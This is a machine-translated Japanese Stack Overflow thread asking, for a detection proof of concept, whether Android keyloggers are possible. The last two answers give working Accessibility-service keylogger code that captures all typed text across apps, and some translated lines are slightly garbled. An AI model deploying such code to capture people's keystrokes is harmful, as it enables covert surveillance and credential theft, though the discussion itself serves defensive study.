web-dev-qa-db-ja.com

Androidキーロガー

はじめに:Androidセキュリティ上にPOCを作成します。これは、Androidデバイスで実行されているKeyLoggerがあるかどうかを識別するために必要です。それが実行されている場合またはデバイスにインストールしたら、私のAndroidアプリケーション全体で無効にします。

クエリ:

1.)これは、キーボードイベントをインターセプトし、サービスとしてバックグラウンドで実行するAndroidキーロガーを作成することは可能ですか?

2.)キーボードイベントを処理するバックグラウンドプロセスがあるかどうかを特定することは可能ですか?

3.)アプリケーションコードによって、(自分が所有していない)他のバックグラウンドサービスを停止できますか?

あれば適切なリンクを教えてください。

21
Avtar Guleria

丸一日研究した結果、以下の結論に達しました。

Androidでは、バックグラウンドサービスからのデフォルトのソフトキーボード入力をインターセプトすることはできません。これらのイベントをインターセプトする唯一の方法は、カスタムキーボードです。

私はそれを次のように要約しました:

Androidでは、キーボードイベントのキーロギングはバックグラウンドサービスではサポートされていません。一部のリンクは次のとおりです:

ポイント1:Google Android Developer

ソフト入力メソッドはテキストを入力する複数の独創的な方法を使用できるため、ソフトキーボードでキーを押すとキーイベントが生成される保証はありません。これはIMEの裁量に任され、実際にはそのようなイベントの送信は推奨されません。ソフト入力メソッドのキーのKeyEventsの受信に依存してはいけません。特に、デフォルトのソフトウェアキーボードは、Jelly Bean以降をターゲットとするアプリケーションにキーイベントを送信することはなく、削除キーとリターンキーを押したときのイベントのみを、アイスクリームサンドイッチまたはそれ以前をターゲットとするアプリケーションに送信します。

http://developer.Android.com/reference/Android/view/KeyEvent.html

Android Jelly Beanは:4.1から4.3.1 Android IceCream Sandwich:4.0

ソフト入力メソッドでキーを押すことは、このリスナーでメソッドをトリガーするために必要ではなく、実際にはそうすることはお勧めしません。デフォルトのAndroidキーボードは、ジェリービーン以降をターゲットとするアプリケーションへのキーではこれらをトリガーせず、アイスクリームサンドイッチ以前をターゲットとするアプリケーションへの一部のキープレスに対してのみそれを配信します。

http://developer.Android.com/reference/Android/text/method/KeyListener.html

ポイント2:スタックオーバーフローKeyEventsは、キーを押すユーザーへのインターフェースであり、フォアグラウンドにある場合にのみ、アクティビティで処理できます。バックグラウンドで実行されるサービスでさえ、ユーザー入力に反応することを意図していません。

Android-バックグラウンドで押すハードキーのリスナー

Androidハードウェアキーの押下をリッスンするサービスを作成することは可能ですか?

ポイント3:Romain Guy Romain Guy( https://stackoverflow.com/users/298575/romain-guy )who Googleでも機能します サービスのonKeyDown?(グローバルホットキー)

ポイント4:その他の参考資料:

Google Android-developers Group: https://groups.google.com/forum/#!topic/Android-developers/o--GUWmqXdI

カスタムキーボードを使用することによってのみ実行できます: Androidで押されたキーを取得して別のキーをスローする

見落としがあると思われる場合は、コメントを追加してください。

6
Avtar Guleria

この質問にはすでに受け入れられた回答があることは知っていますが、受け入れられた回答に同意しません!
これは、アクセシビリティAPIを介してAndroidで実行できます。
以下のプログラムをご覧ください。

タイプマシン

アクセシビリティAPIを使用し、アプリケーションで入力するすべてのキーストロークを正しく保存します。これは基本的にキーロガーが行うことです!
編集:TypeMachineが何を使用するかは正確にはわかりませんが、ユーザー補助サービスからテキストを取得できるはずです このメソッドを使用して 。たとえば、次のコードを使用して新しいテキストを取得できます。

void onViewTextChanged(AccessibilityEvent accessibilityEvent, AccessibilityNodeInfo accessibilityNodeInfo) {
     List text = accessibilityEvent.getText();
     CharSequence latestText = (CharSequence) text.get(0);
     Log.i(MY_TAG, latestText.toString());
}
21
ananth

@ ananth の回答のフォローアップとして、アクセシビリティサービスを使用してキーロガーを実装する方法の完全なコード例を次に示します。

ただし、これには、サービスをシステムにバインドするための権限が必要です。また、ユーザーはSettings> Accessibility> に移動して、作成したサービスを明示的にオンにする必要がありますアプリ名} on Androidデバイス。したがって、悪意がある場合は、頑張ってください。

ステップ1:これをマニフェストファイルに貼り付けます。

<application>
...
<service Android:name=".MyAccessibilityService"
            Android:permission="Android.permission.BIND_ACCESSIBILITY_SERVICE">
            <intent-filter>
                <action Android:name="Android.accessibilityservice.AccessibilityService" />
            </intent-filter>
</service>
</application>

ステップ2:アクセシビリティサービスのクラスを作成します。

public class MyAccessibilityService extends AccessibilityService {
    @Override
    public void onAccessibilityEvent(AccessibilityEvent event) {
        final int eventType = event.getEventType();
        String eventText = null;
        switch(eventType) {
            /*
                You can use catch other events like touch and focus

                case AccessibilityEvent.TYPE_VIEW_CLICKED:
                     eventText = "Clicked: ";
                     break;
                case AccessibilityEvent.TYPE_VIEW_FOCUSED:
                     eventText = "Focused: ";
                     break;
            */
            case AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED:
                eventText = "Typed: ";
                break;
        }
        eventText = eventText + event.getText();

        //print the typed text in the console. Or do anything you want here.
        System.out.println("ACCESSIBILITY SERVICE : "+eventText);

    }

    @Override
    public void onInterrupt() {
        //whatever
    }

    @Override
    public void onServiceConnected() {
        //configure our Accessibility service
        AccessibilityServiceInfo info=getServiceInfo();
        info.eventTypes = AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED;
        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
        info.notificationTimeout = 100;
        this.setServiceInfo(info);
    }

}

それでおしまい。これで、ユーザーが電話でアプリに入力したすべてのものがコンソールに記録されます。必要な場合にのみ、特定の特定のアプリからのキーストロークをリッスンするように上記のクラスを構成できます。上記のクラスは、MainActivityから独立しています。アプリがインストールされるとすぐにサービスが登録されます。ただし、繰り返しになりますが、これを行うには、前述のように設定を手動で切り替える必要があります。

Read アクセシビリティとは何か、および上記で使用した各クラスとメソッドの詳細についてのドキュメント。

15
Nandan Desai